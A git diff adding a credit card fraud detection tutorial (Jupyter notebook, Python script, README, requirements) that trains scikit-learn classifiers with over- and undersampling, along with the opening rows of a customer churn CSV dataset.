train_test_split \n", + "X_train, X_test, y_train, y_test = train_test_split( \n", + " X, y, test_size = 0.2, random_state = 42)\n", + "\n", + "X_train.shape, X_test.shape, y_train.shape, y_test.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [], + "source": [ + "# Create the cross validation framework \n", + "from sklearn.model_selection import StratifiedKFold\n", + "from sklearn.model_selection import GridSearchCV, cross_val_score, RandomizedSearchCV\n", + "\n", + "kf = StratifiedKFold(n_splits=5, random_state = None, shuffle = False)" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [], + "source": [ + "# Import the imbalance Learn module\n", + "from imblearn.pipeline import make_pipeline ## Create a Pipeline using the provided estimators .\n", + "from imblearn.under_sampling import NearMiss ## perform Under-sampling based on NearMiss methods. \n", + "from imblearn.over_sampling import SMOTE ## PerformOver-sampling class that uses SMOTE. \n", + "# import the metrics\n", + "from sklearn.metrics import roc_curve, roc_auc_score, accuracy_score, recall_score, precision_score, f1_score\n", + "# Import the classifiers\n", + "from sklearn.linear_model import LogisticRegression\n", + "from sklearn.svm import SVC\n", + "from sklearn.neighbors import KNeighborsClassifier\n", + "from sklearn.tree import DecisionTreeClassifier\n", + "from sklearn.ensemble import RandomForestClassifier" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "The accuracy is 0.9995962220427653\n", + "The precision is 0.9746835443037974\n", + "The recall is 0.7857142857142857\n", + "The F1 score is 0.8700564971751412\n" + ] + } + ], + "source": [ + "# Using SKLEARN module for random forest\n", + "from sklearn.ensemble import RandomForestClassifier \n", + "\n", + "# Fit and predict\n", + "rfc = RandomForestClassifier() \n", + "rfc.fit(X_train, y_train) \n", + "y_pred = rfc.predict(X_test)\n", + "\n", + "# For the performance let's use some metrics from SKLEARN module\n", + "from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\n", + " \n", + "print(\"The accuracy is\", accuracy_score(y_test, y_pred)) \n", + "print(\"The precision is\", precision_score(y_test, y_pred))\n", + "print(\"The recall is\", recall_score(y_test, y_pred))\n", + "print(\"The F1 score is\", f1_score(y_test, y_pred))" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": {}, + "outputs": [], + "source": [ + "def get_model_best_estimator_and_metrics(estimator, params, kf=kf, X_train=X_train, \n", + " y_train=y_train, X_test=X_test, \n", + " y_test=y_test, is_grid_search=True, \n", + " sampling=NearMiss(), scoring=\"f1\", \n", + " n_jobs=2):\n", + " if sampling is None:\n", + " # make the pipeline of only the estimator, just so the remaining code will work fine\n", + " pipeline = make_pipeline(estimator)\n", + " else:\n", + " # make the pipeline of over/undersampling and estimator\n", + " pipeline = make_pipeline(sampling, estimator)\n", + " # get the estimator name\n", + " estimator_name = estimator.__class__.__name__.lower()\n", + " # construct the parameters for grid/random search cv\n", + " new_params = {f'{estimator_name}__{key}': params[key] for key in params}\n", + " if is_grid_search:\n", + " # grid search instead of randomized search\n", + " search = GridSearchCV(pipeline, param_grid=new_params, cv=kf, scoring=scoring, return_train_score=True, n_jobs=n_jobs, verbose=2)\n", + " else:\n", + " # randomized search\n", + " search = RandomizedSearchCV(pipeline, param_distributions=new_params, \n", + " cv=kf, scoring=scoring, return_train_score=True,\n", + " n_jobs=n_jobs, verbose=1)\n", + " # fit the model\n", + " search.fit(X_train, y_train)\n", + " cv_score = cross_val_score(search, X_train, y_train, scoring=scoring, cv=kf)\n", + " # make predictions on the test data\n", + " y_pred = search.best_estimator_.named_steps[estimator_name].predict(X_test)\n", + " # calculate the metrics: recall, accuracy, F1 score, etc.\n", + " recall = recall_score(y_test, y_pred)\n", + " accuracy = accuracy_score(y_test, y_pred)\n", + " f1 = f1_score(y_test, y_pred)\n", + " y_proba = search.best_estimator_.named_steps[estimator_name].predict_proba(X_test)[::, 1]\n", + " fpr, tpr, _ = roc_curve(y_test, y_proba)\n", + " auc = roc_auc_score(y_test, y_proba)\n", + " # return the best estimator along with the metrics\n", + " return {\n", + " \"best_estimator\": search.best_estimator_,\n", + " \"estimator_name\": estimator_name,\n", + " \"cv_score\": cv_score,\n", + " \"recall\": recall,\n", + " \"accuracy\": accuracy,\n", + " \"f1_score\": f1,\n", + " \"fpr\": fpr,\n", + " \"tpr\": tpr,\n", + " \"auc\": auc,\n", + " }" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Fitting 5 folds for each of 12 candidates, totalling 60 fits\n", + "Fitting 5 folds for each of 12 candidates, totalling 60 fits\n", + "Fitting 5 folds for each of 12 candidates, totalling 60 fits\n", + "Fitting 5 folds for each of 12 candidates, totalling 60 fits\n", + "Fitting 5 folds for each of 12 candidates, totalling 60 fits\n", + "Fitting 5 folds for each of 12 candidates, totalling 60 fits\n", + "===randomforestclassifier===\n", + "Model: Pipeline(steps=[('randomforestclassifier',\n", + " RandomForestClassifier(max_depth=12, n_estimators=200,\n", + " random_state=13))])\n", + "Accuracy: 0.9995962220427653\n", + "Recall: 0.7857142857142857\n", + "F1 Score: 0.8700564971751412\n" + ] + } + ], + "source": [ + "# Cumulatively create a table for the ROC curve\n", + "## Create the dataframe\n", + "res_table = pd.DataFrame(columns=['classifiers', 'fpr','tpr','auc'])\n", + "\n", + "rfc_results = get_model_best_estimator_and_metrics(\n", + " estimator=RandomForestClassifier(),\n", + " params={\n", + " 'n_estimators': [50, 100, 200],\n", + " 'max_depth': [4, 6, 10, 12],\n", + " 'random_state': [13]\n", + " },\n", + " sampling=None,\n", + " n_jobs=3,\n", + ")\n", + "res_table = res_table.append({'classifiers': rfc_results[\"estimator_name\"],\n", + " 'fpr': rfc_results[\"fpr\"], \n", + " 'tpr': rfc_results[\"tpr\"], \n", + " 'auc': rfc_results[\"auc\"]\n", + " }, ignore_index=True)\n" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "===randomforestclassifier===\n", + "Model: Pipeline(steps=[('randomforestclassifier',\n", + " RandomForestClassifier(max_depth=12, n_estimators=200,\n", + " random_state=13))])\n", + "Accuracy: 0.9995962220427653\n", + "Recall: 0.7857142857142857\n", + "F1 Score: 0.8700564971751412\n" + ] + } + ], + "source": [ + "print(f\"==={rfc_results['estimator_name']}===\")\n", + "print(\"Model:\", rfc_results['best_estimator'])\n", + "print(\"Accuracy:\", rfc_results['accuracy'])\n", + "print(\"Recall:\", rfc_results['recall'])\n", + "print(\"F1 Score:\", rfc_results['f1_score'])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "logreg_us_results = get_model_best_estimator_and_metrics(\n", + " estimator=LogisticRegression(),\n", + " params={\"penalty\": ['l1', 'l2'], \n", + " 'C': [ 0.01, 0.1, 1, 100], \n", + " 'solver' : ['liblinear']},\n", + " sampling=NearMiss(),\n", + " n_jobs=3,\n", + ")\n", + "print(f\"==={logreg_us_results['estimator_name']}===\")\n", + "print(\"Model:\", logreg_us_results['best_estimator'])\n", + "print(\"Accuracy:\", logreg_us_results['accuracy'])\n", + "print(\"Recall:\", logreg_us_results['recall'])\n", + "print(\"F1 Score:\", logreg_us_results['f1_score'])\n", + "res_table = res_table.append({'classifiers': logreg_us_results[\"estimator_name\"],\n", + " 'fpr': logreg_us_results[\"fpr\"], \n", + " 'tpr': logreg_us_results[\"tpr\"], \n", + " 'auc': logreg_us_results[\"auc\"]\n", + " }, ignore_index=True)\n", + "res_table" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Plot the ROC curve for undersampling\n", + "res_table.set_index('classifiers', inplace=True)\n", + "fig = plt.figure(figsize=(17,7))\n", + "\n", + "for j in res_table.index:\n", + " plt.plot(res_table.loc[j]['fpr'], \n", + " res_table.loc[j]['tpr'], \n", + " label=\"{}, AUC={:.3f}\".format(j, res_table.loc[j]['auc']))\n", + " \n", + "plt.plot([0,1], [0,1], color='orange', linestyle='--')\n", + "plt.xticks(np.arange(0.0, 1.1, step=0.1))\n", + "plt.xlabel(\"Positive Rate(False)\", fontsize=15)\n", + "plt.yticks(np.arange(0.0, 1.1, step=0.1))\n", + "plt.ylabel(\"Positive Rate(True)\", fontsize=15)\n", + "plt.title('Analysis for Oversampling', fontweight='bold', fontsize=15)\n", + "plt.legend(prop={'size':13}, loc='lower right')\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Cumulatively create a table for the ROC curve\n", + "res_table = pd.DataFrame(columns=['classifiers', 'fpr','tpr','auc'])\n", + "\n", + "lin_reg_os_results = get_model_best_estimator_and_metrics(\n", + " estimator=LogisticRegression(),\n", + " params={\"penalty\": ['l1', 'l2'], 'C': [ 0.01, 0.1, 1, 100, 100], \n", + " 'solver' : ['liblinear']},\n", + " sampling=SMOTE(random_state=42),\n", + " scoring=\"f1\",\n", + " is_grid_search=False,\n", + " n_jobs=2,\n", + ")\n", + "print(f\"==={lin_reg_os_results['estimator_name']}===\")\n", + "print(\"Model:\", lin_reg_os_results['best_estimator'])\n", + "print(\"Accuracy:\", lin_reg_os_results['accuracy'])\n", + "print(\"Recall:\", lin_reg_os_results['recall'])\n", + "print(\"F1 Score:\", lin_reg_os_results['f1_score'])\n", + "res_table = res_table.append({'classifiers': lin_reg_os_results[\"estimator_name\"],\n", + " 'fpr': lin_reg_os_results[\"fpr\"], \n", + " 'tpr': lin_reg_os_results[\"tpr\"], \n", + " 'auc': lin_reg_os_results[\"auc\"]\n", + " }, ignore_index=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# boxplot for two example variables in the dataset\n", + "\n", + "f, axes = plt.subplots(1, 2, figsize=(18,4), sharex = True)\n", + "\n", + "variable1 = dataset[\"V1\"]\n", + "variable2 = dataset[\"V2\"]\n", + "\n", + "sns.boxplot(variable1, color=\"m\", ax=axes[0]).set_title('Boxplot for V1')\n", + "sns.boxplot(variable2, color=\"m\", ax=axes[1]).set_title('Boxplot for V2')\n", + "\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Find the IQR for all the feature variables\n", + "# Please note that we are keeping Class variable also in this evaluation, though we know using this method no observation\n", + "# be removed based on this variable.\n", + "\n", + "quartile1 = dataset.quantile(0.25)\n", + "quartile3 = dataset.quantile(0.75)\n", + "\n", + "IQR = quartile3 - quartile1\n", + "print(IQR)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Remove the outliers \n", + "constant = 3\n", + "datavalid = dataset[~((dataset < (quartile1 - constant * IQR)) |(dataset > (quartile3 + constant * IQR))).any(axis=1)]\n", + "deletedrows = dataset.shape[0] - datavalid.shape[0]\n", + "print(\"We have removed \" + str(deletedrows) + \" rows from the data as outliers\")" + ] + } + ], + "metadata": { + "interpreter": { + "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67" + }, + "kernelspec": { + "display_name": "Python 3.8.7 64-bit", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.7" + }, + "orig_nbformat": 4 + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/machine-learning/credit-card-fraud-detection/README.md b/machine-learning/credit-card-fraud-detection/README.md new file mode 100644 index 00000000..e6913c57 --- /dev/null +++ b/machine-learning/credit-card-fraud-detection/README.md @@ -0,0 +1,5 @@ +# [Credit Card Fraud Detection in Python](https://www.thepythoncode.com/article/credit-card-fraud-detection-using-sklearn-in-python#near-miss) +To run this: +- `pip3 install -r requirements.txt` +- Download [the dataset from Kaggle](https://www.kaggle.com/mlg-ulb/creditcardfraud) +- Read through the tutorial and run the cells on `CreditCardDetection.ipynb`. diff --git a/machine-learning/credit-card-fraud-detection/credit_card_detection.py b/machine-learning/credit-card-fraud-detection/credit_card_detection.py new file mode 100644 index 00000000..3c677b55 --- /dev/null +++ b/machine-learning/credit-card-fraud-detection/credit_card_detection.py @@ -0,0 +1,303 @@ +# %% +# Importing modules +import numpy as np +import pandas as pd +import matplotlib.pyplot as plt +import seaborn as sns +from matplotlib import gridspec + +# %% +#read the dataset +dataset = pd.read_csv("creditcard.csv") +# read the first 5 and last 5 rows of the data +dataset.head().append(dataset.tail()) + +# %% +# check for relative proportion +print("Fraudulent Cases: " + str(len(dataset[dataset["Class"] == 1]))) +print("Valid Transactions: " + str(len(dataset[dataset["Class"] == 0]))) +print("Proportion of Fraudulent Cases: " + str(len(dataset[dataset["Class"] == 1])/ dataset.shape[0])) + +# To see how small are the number of Fraud transactions +data_p = dataset.copy() +data_p[" "] = np.where(data_p["Class"] == 1 , "Fraud", "Genuine") + +# plot a pie chart +data_p[" "].value_counts().plot(kind="pie") + +# %% +# plot the named features +f, axes = plt.subplots(1, 2, figsize=(18,4), sharex = True) + +amount_value = dataset['Amount'].values # values +time_value = dataset['Time'].values # values + +sns.distplot(amount_value, hist=False, color="m", kde_kws={"shade": True}, ax=axes[0]).set_title('Distribution of Amount') +sns.distplot(time_value, hist=False, color="m", kde_kws={"shade": True}, ax=axes[1]).set_title('Distribution of Time') + +plt.show() + +# %% +print("Average Amount in a Fraudulent Transaction: " + str(dataset[dataset["Class"] == 1]["Amount"].mean())) +print("Average Amount in a Valid Transaction: " + str(dataset[dataset["Class"] == 0]["Amount"].mean())) + +# %% +print("Summary of the feature - Amount" + "\n-------------------------------") +print(dataset["Amount"].describe()) + +# %% +# Reorder the columns Amount, Time then the rest +data_plot = dataset.copy() +amount = data_plot['Amount'] +data_plot.drop(labels=['Amount'], axis=1, inplace = True) +data_plot.insert(0, 'Amount', amount) + +# Plot the distributions of the features +columns = data_plot.iloc[:,0:30].columns +plt.figure(figsize=(12,30*4)) +grids = gridspec.GridSpec(30, 1) +for grid, index in enumerate(data_plot[columns]): + ax = plt.subplot(grids[grid]) + sns.distplot(data_plot[index][data_plot.Class == 1], hist=False, kde_kws={"shade": True}, bins=50) + sns.distplot(data_plot[index][data_plot.Class == 0], hist=False, kde_kws={"shade": True}, bins=50) + ax.set_xlabel("") + ax.set_title("Distribution of Column: " + str(index)) +plt.show() + +# %% +# check for null values +dataset.isnull().shape[0] +print("Non-missing values: " + str(dataset.isnull().shape[0])) +print("Missing values: " + str(dataset.shape[0] - dataset.isnull().shape[0])) + +# %% +from sklearn.preprocessing import RobustScaler +scaler = RobustScaler().fit(dataset[["Time", "Amount"]]) +dataset[["Time", "Amount"]] = scaler.transform(dataset[["Time", "Amount"]]) + +dataset.head().append(dataset.tail()) + +# %% +# Separate response and features Undersampling before cross validation will lead to overfiting +y = dataset["Class"] # target +X = dataset.iloc[:,0:30] + +# Use SKLEARN for the split +from sklearn.model_selection import train_test_split +X_train, X_test, y_train, y_test = train_test_split( + X, y, test_size = 0.2, random_state = 42) + +X_train.shape, X_test.shape, y_train.shape, y_test.shape + +# %% +# Create the cross validation framework +from sklearn.model_selection import StratifiedKFold +from sklearn.model_selection import GridSearchCV, cross_val_score, RandomizedSearchCV + +kf = StratifiedKFold(n_splits=5, random_state = None, shuffle = False) + +# %% +# Import the imbalance Learn module +from imblearn.pipeline import make_pipeline ## Create a Pipeline using the provided estimators . +from imblearn.under_sampling import NearMiss ## perform Under-sampling based on NearMiss methods. +from imblearn.over_sampling import SMOTE ## PerformOver-sampling class that uses SMOTE. +# import the metrics +from sklearn.metrics import roc_curve, roc_auc_score, accuracy_score, recall_score, precision_score, f1_score +# Import the classifiers +from sklearn.linear_model import LogisticRegression +from sklearn.svm import SVC +from sklearn.neighbors import KNeighborsClassifier +from sklearn.tree import DecisionTreeClassifier +from sklearn.ensemble import RandomForestClassifier + +# %% +# Using SKLEARN module for random forest +from sklearn.ensemble import RandomForestClassifier + +# Fit and predict +rfc = RandomForestClassifier() +rfc.fit(X_train, y_train) +y_pred = rfc.predict(X_test) + +# For the performance let's use some metrics from SKLEARN module +from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score + +print("The accuracy is", accuracy_score(y_test, y_pred)) +print("The precision is", precision_score(y_test, y_pred)) +print("The recall is", recall_score(y_test, y_pred)) +print("The F1 score is", f1_score(y_test, y_pred)) + +# %% +def get_model_best_estimator_and_metrics(estimator, params, kf=kf, X_train=X_train, + y_train=y_train, X_test=X_test, + y_test=y_test, is_grid_search=True, + sampling=NearMiss(), scoring="f1", + n_jobs=2): + if sampling is None: + # make the pipeline of only the estimator, just so the remaining code will work fine + pipeline = make_pipeline(estimator) + else: + # make the pipeline of over/undersampling and estimator + pipeline = make_pipeline(sampling, estimator) + # get the estimator name + estimator_name = estimator.__class__.__name__.lower() + # construct the parameters for grid/random search cv + new_params = {f'{estimator_name}__{key}': params[key] for key in params} + if is_grid_search: + # grid search instead of randomized search + search = GridSearchCV(pipeline, param_grid=new_params, cv=kf, scoring=scoring, return_train_score=True, n_jobs=n_jobs, verbose=2) + else: + # randomized search + search = RandomizedSearchCV(pipeline, param_distributions=new_params, + cv=kf, scoring=scoring, return_train_score=True, + n_jobs=n_jobs, verbose=1) + # fit the model + search.fit(X_train, y_train) + cv_score = cross_val_score(search, X_train, y_train, scoring=scoring, cv=kf) + # make predictions on the test data + y_pred = search.best_estimator_.named_steps[estimator_name].predict(X_test) + # calculate the metrics: recall, accuracy, F1 score, etc. + recall = recall_score(y_test, y_pred) + accuracy = accuracy_score(y_test, y_pred) + f1 = f1_score(y_test, y_pred) + y_proba = search.best_estimator_.named_steps[estimator_name].predict_proba(X_test)[::, 1] + fpr, tpr, _ = roc_curve(y_test, y_proba) + auc = roc_auc_score(y_test, y_proba) + # return the best estimator along with the metrics + return { + "best_estimator": search.best_estimator_, + "estimator_name": estimator_name, + "cv_score": cv_score, + "recall": recall, + "accuracy": accuracy, + "f1_score": f1, + "fpr": fpr, + "tpr": tpr, + "auc": auc, + } + +# %% +# Cumulatively create a table for the ROC curve +## Create the dataframe +res_table = pd.DataFrame(columns=['classifiers', 'fpr','tpr','auc']) + +rfc_results = get_model_best_estimator_and_metrics( + estimator=RandomForestClassifier(), + params={ + 'n_estimators': [50, 100, 200], + 'max_depth': [4, 6, 10, 12], + 'random_state': [13] + }, + sampling=None, + n_jobs=3, +) +res_table = res_table.append({'classifiers': rfc_results["estimator_name"], + 'fpr': rfc_results["fpr"], + 'tpr': rfc_results["tpr"], + 'auc': rfc_results["auc"] + }, ignore_index=True) + + +# %% +print(f"==={rfc_results['estimator_name']}===") +print("Model:", rfc_results['best_estimator']) +print("Accuracy:", rfc_results['accuracy']) +print("Recall:", rfc_results['recall']) +print("F1 Score:", rfc_results['f1_score']) + +# %% +logreg_us_results = get_model_best_estimator_and_metrics( + estimator=LogisticRegression(), + params={"penalty": ['l1', 'l2'], + 'C': [ 0.01, 0.1, 1, 100], + 'solver' : ['liblinear']}, + sampling=NearMiss(), + n_jobs=3, +) +print(f"==={logreg_us_results['estimator_name']}===") +print("Model:", logreg_us_results['best_estimator']) +print("Accuracy:", logreg_us_results['accuracy']) +print("Recall:", logreg_us_results['recall']) +print("F1 Score:", logreg_us_results['f1_score']) +res_table = res_table.append({'classifiers': logreg_us_results["estimator_name"], + 'fpr': logreg_us_results["fpr"], + 'tpr': logreg_us_results["tpr"], + 'auc': logreg_us_results["auc"] + }, ignore_index=True) +res_table + +# %% +# Plot the ROC curve for undersampling +res_table.set_index('classifiers', inplace=True) +fig = plt.figure(figsize=(17,7)) + +for j in res_table.index: + plt.plot(res_table.loc[j]['fpr'], + res_table.loc[j]['tpr'], + label="{}, AUC={:.3f}".format(j, res_table.loc[j]['auc'])) + +plt.plot([0,1], [0,1], color='orange', linestyle='--') +plt.xticks(np.arange(0.0, 1.1, step=0.1)) +plt.xlabel("Positive Rate(False)", fontsize=15) +plt.yticks(np.arange(0.0, 1.1, step=0.1)) +plt.ylabel("Positive Rate(True)", fontsize=15) +plt.title('Analysis for Oversampling', fontweight='bold', fontsize=15) +plt.legend(prop={'size':13}, loc='lower right') +plt.show() + +# %% +# Cumulatively create a table for the ROC curve +res_table = pd.DataFrame(columns=['classifiers', 'fpr','tpr','auc']) + +lin_reg_os_results = get_model_best_estimator_and_metrics( + estimator=LogisticRegression(), + params={"penalty": ['l1', 'l2'], 'C': [ 0.01, 0.1, 1, 100, 100], + 'solver' : ['liblinear']}, + sampling=SMOTE(random_state=42), + scoring="f1", + is_grid_search=False, + n_jobs=2, +) +print(f"==={lin_reg_os_results['estimator_name']}===") +print("Model:", lin_reg_os_results['best_estimator']) +print("Accuracy:", lin_reg_os_results['accuracy']) +print("Recall:", lin_reg_os_results['recall']) +print("F1 Score:", lin_reg_os_results['f1_score']) +res_table = res_table.append({'classifiers': lin_reg_os_results["estimator_name"], + 'fpr': lin_reg_os_results["fpr"], + 'tpr': lin_reg_os_results["tpr"], + 'auc': lin_reg_os_results["auc"] + }, ignore_index=True) + +# %% +# boxplot for two example variables in the dataset + +f, axes = plt.subplots(1, 2, figsize=(18,4), sharex = True) + +variable1 = dataset["V1"] +variable2 = dataset["V2"] + +sns.boxplot(variable1, color="m", ax=axes[0]).set_title('Boxplot for V1') +sns.boxplot(variable2, color="m", ax=axes[1]).set_title('Boxplot for V2') + +plt.show() + +# %% +# Find the IQR for all the feature variables +# Please note that we are keeping Class variable also in this evaluation, though we know using this method no observation +# be removed based on this variable. + +quartile1 = dataset.quantile(0.25) +quartile3 = dataset.quantile(0.75) + +IQR = quartile3 - quartile1 +print(IQR) + +# %% +# Remove the outliers +constant = 3 +datavalid = dataset[~((dataset < (quartile1 - constant * IQR)) |(dataset > (quartile3 + constant * IQR))).any(axis=1)] +deletedrows = dataset.shape[0] - datavalid.shape[0] +print("We have removed " + str(deletedrows) + " rows from the data as outliers") + + diff --git a/machine-learning/credit-card-fraud-detection/requirements.txt b/machine-learning/credit-card-fraud-detection/requirements.txt new file mode 100644 index 00000000..5b20609b --- /dev/null +++ b/machine-learning/credit-card-fraud-detection/requirements.txt @@ -0,0 +1,6 @@ +sklearn==0.24.2 +imbalanced-learn +numpy +pandas +matplotlib +seaborn diff --git a/machine-learning/customer-churn-detection/Churn_Modelling.csv b/machine-learning/customer-churn-detection/Churn_Modelling.csv new file mode 100644 index 00000000..7a857b1e --- /dev/null +++ b/machine-learning/customer-churn-detection/Churn_Modelling.csv @@ -0,0 +1,10001 @@ +RowNumber,CustomerId,Surname,CreditScore,Geography,Gender,Age,Tenure,Balance,NumOfProducts,HasCrCard,IsActiveMember,EstimatedSalary,Exited +1,15634602,Hargrave,619,France,Female,42,2,0,1,1,1,101348.88,1 +2,15647311,Hill,608,Spain,Female,41,1,83807.86,1,0,1,112542.58,0 +3,15619304,Onio,502,France,Female,42,8,159660.8,3,1,0,113931.57,1 +4,15701354,Boni,699,France,Female,39,1,0,2,0,0,93826.63,0 +5,15737888,Mitchell,850,Spain,Female,43,2,125510.82,1,1,1,79084.1,0 +6,15574012,Chu,645,Spain,Male,44,8,113755.78,2,1,0,149756.71,1 +7,15592531,Bartlett,822,France,Male,50,7,0,2,1,1,10062.8,0 +8,15656148,Obinna,376,Germany,Female,29,4,115046.74,4,1,0,119346.88,1 +9,15792365,He,501,France,Male,44,4,142051.07,2,0,1,74940.5,0 +10,15592389,H?,684,France,Male,27,2,134603.88,1,1,1,71725.73,0 +11,15767821,Bearce,528,France,Male,31,6,102016.72,2,0,0,80181.12,0 +12,15737173,Andrews,497,Spain,Male,24,3,0,2,1,0,76390.01,0 +13,15632264,Kay,476,France,Female,34,10,0,2,1,0,26260.98,0 +14,15691483,Chin,549,France,Female,25,5,0,2,0,0,190857.79,0 +15,15600882,Scott,635,Spain,Female,35,7,0,2,1,1,65951.65,0 +16,15643966,Goforth,616,Germany,Male,45,3,143129.41,2,0,1,64327.26,0 +17,15737452,Romeo,653,Germany,Male,58,1,132602.88,1,1,0,5097.67,1 +18,15788218,Henderson,549,Spain,Female,24,9,0,2,1,1,14406.41,0 +19,15661507,Muldrow,587,Spain,Male,45,6,0,1,0,0,158684.81,0 +20,15568982,Hao,726,France,Female,24,6,0,2,1,1,54724.03,0 +21,15577657,McDonald,732,France,Male,41,8,0,2,1,1,170886.17,0 +22,15597945,Dellucci,636,Spain,Female,32,8,0,2,1,0,138555.46,0 +23,15699309,Gerasimov,510,Spain,Female,38,4,0,1,1,0,118913.53,1 +24,15725737,Mosman,669,France,Male,46,3,0,2,0,1,8487.75,0 +25,15625047,Yen,846,France,Female,38,5,0,1,1,1,187616.16,0 +26,15738191,Maclean,577,France,Male,25,3,0,2,0,1,124508.29,0 +27,15736816,Young,756,Germany,Male,36,2,136815.64,1,1,1,170041.95,0 +28,15700772,Nebechi,571,France,Male,44,9,0,2,0,0,38433.35,0 +29,15728693,McWilliams,574,Germany,Female,43,3,141349.43,1,1,1,100187.43,0 +30,15656300,Lucciano,411,France,Male,29,0,59697.17,2,1,1,53483.21,0 +31,15589475,Azikiwe,591,Spain,Female,39,3,0,3,1,0,140469.38,1 +32,15706552,Odinakachukwu,533,France,Male,36,7,85311.7,1,0,1,156731.91,0 +33,15750181,Sanderson,553,Germany,Male,41,9,110112.54,2,0,0,81898.81,0 +34,15659428,Maggard,520,Spain,Female,42,6,0,2,1,1,34410.55,0 +35,15732963,Clements,722,Spain,Female,29,9,0,2,1,1,142033.07,0 +36,15794171,Lombardo,475,France,Female,45,0,134264.04,1,1,0,27822.99,1 +37,15788448,Watson,490,Spain,Male,31,3,145260.23,1,0,1,114066.77,0 +38,15729599,Lorenzo,804,Spain,Male,33,7,76548.6,1,0,1,98453.45,0 +39,15717426,Armstrong,850,France,Male,36,7,0,1,1,1,40812.9,0 +40,15585768,Cameron,582,Germany,Male,41,6,70349.48,2,0,1,178074.04,0 +41,15619360,Hsiao,472,Spain,Male,40,4,0,1,1,0,70154.22,0 +42,15738148,Clarke,465,France,Female,51,8,122522.32,1,0,0,181297.65,1 +43,15687946,Osborne,556,France,Female,61,2,117419.35,1,1,1,94153.83,0 +44,15755196,Lavine,834,France,Female,49,2,131394.56,1,0,0,194365.76,1 +45,15684171,Bianchi,660,Spain,Female,61,5,155931.11,1,1,1,158338.39,0 +46,15754849,Tyler,776,Germany,Female,32,4,109421.13,2,1,1,126517.46,0 +47,15602280,Martin,829,Germany,Female,27,9,112045.67,1,1,1,119708.21,1 +48,15771573,Okagbue,637,Germany,Female,39,9,137843.8,1,1,1,117622.8,1 +49,15766205,Yin,550,Germany,Male,38,2,103391.38,1,0,1,90878.13,0 +50,15771873,Buccho,776,Germany,Female,37,2,103769.22,2,1,0,194099.12,0 +51,15616550,Chidiebele,698,Germany,Male,44,10,116363.37,2,1,0,198059.16,0 +52,15768193,Trevisani,585,Germany,Male,36,5,146050.97,2,0,0,86424.57,0 +53,15683553,O'Brien,788,France,Female,33,5,0,2,0,0,116978.19,0 +54,15702298,Parkhill,655,Germany,Male,41,8,125561.97,1,0,0,164040.94,1 +55,15569590,Yoo,601,Germany,Male,42,1,98495.72,1,1,0,40014.76,1 +56,15760861,Phillipps,619,France,Male,43,1,125211.92,1,1,1,113410.49,0 +57,15630053,Tsao,656,France,Male,45,5,127864.4,1,1,0,87107.57,0 +58,15647091,Endrizzi,725,Germany,Male,19,0,75888.2,1,0,0,45613.75,0 +59,15623944,T'ien,511,Spain,Female,66,4,0,1,1,0,1643.11,1 +60,15804771,Velazquez,614,France,Male,51,4,40685.92,1,1,1,46775.28,0 +61,15651280,Hunter,742,Germany,Male,35,5,136857,1,0,0,84509.57,0 +62,15773469,Clark,687,Germany,Female,27,9,152328.88,2,0,0,126494.82,0 +63,15702014,Jeffrey,555,Spain,Male,33,1,56084.69,2,0,0,178798.13,0 +64,15751208,Pirozzi,684,Spain,Male,56,8,78707.16,1,1,1,99398.36,0 +65,15592461,Jackson,603,Germany,Male,26,4,109166.37,1,1,1,92840.67,0 +66,15789484,Hammond,751,Germany,Female,36,6,169831.46,2,1,1,27758.36,0 +67,15696061,Brownless,581,Germany,Female,34,1,101633.04,1,1,0,110431.51,0 +68,15641582,Chibugo,735,Germany,Male,43,10,123180.01,2,1,1,196673.28,0 +69,15638424,Glauert,661,Germany,Female,35,5,150725.53,2,0,1,113656.85,0 +70,15755648,Pisano,675,France,Female,21,8,98373.26,1,1,0,18203,0 +71,15703793,Konovalova,738,Germany,Male,58,2,133745.44,4,1,0,28373.86,1 +72,15620344,McKee,813,France,Male,29,6,0,1,1,0,33953.87,0 +73,15812518,Palermo,657,Spain,Female,37,0,163607.18,1,0,1,44203.55,0 +74,15779052,Ballard,604,Germany,Female,25,5,157780.84,2,1,1,58426.81,0 +75,15770811,Wallace,519,France,Male,36,9,0,2,0,1,145562.4,0 +76,15780961,Cavenagh,735,France,Female,21,1,178718.19,2,1,0,22388,0 +77,15614049,Hu,664,France,Male,55,8,0,2,1,1,139161.64,0 +78,15662085,Read,678,France,Female,32,9,0,1,1,1,148210.64,0 +79,15575185,Bushell,757,Spain,Male,33,5,77253.22,1,0,1,194239.63,0 +80,15803136,Postle,416,Germany,Female,41,10,122189.66,2,1,0,98301.61,0 +81,15706021,Buley,665,France,Female,34,1,96645.54,2,0,0,171413.66,0 +82,15663706,Leonard,777,France,Female,32,2,0,1,1,0,136458.19,1 +83,15641732,Mills,543,France,Female,36,3,0,2,0,0,26019.59,0 +84,15701164,Onyeorulu,506,France,Female,34,4,90307.62,1,1,1,159235.29,0 